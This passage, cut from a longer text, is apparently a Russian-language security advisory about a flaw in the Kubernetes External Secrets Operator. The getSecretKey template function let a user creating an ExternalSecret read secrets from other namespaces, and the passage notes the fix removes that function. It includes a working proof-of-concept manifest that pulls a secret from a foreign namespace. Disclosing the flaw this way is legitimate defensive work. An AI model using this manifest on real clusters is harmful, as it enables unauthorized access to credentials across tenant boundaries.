External Secrets Operator, связанная с функцией шаблонизации getSecretKey. Она позволяет при создании ресурса ExternalSecret читать Kubernetes секреты из других namespace, минуя ожидаемые ограничения доступа.Достаточно создать
ExternalSecret с шаблоном, в котором явно указан чужой namespace, и оператор подставит значение секрета:
apiVersion: external-secrets.io/v1
kind: ExternalSecret
metadata:
name: test
spec:
# THIS IS NOT USED AT ALL, CAN BE ANY STORE YOU HAVE
secretStoreRef:
name: a-secret-store
kind: SecretStore
target:
template:
data:
password: '{{ getSecretKey "a-secret-name" "another-namespace" "a-key" }}'
# THIS IS NOT USED TOO; it's just a requirement for the validating webhook
dataFrom:
- extract:
key: something
Проблема устранена в новых версиях оператора, где функция
getSecretKey удалена.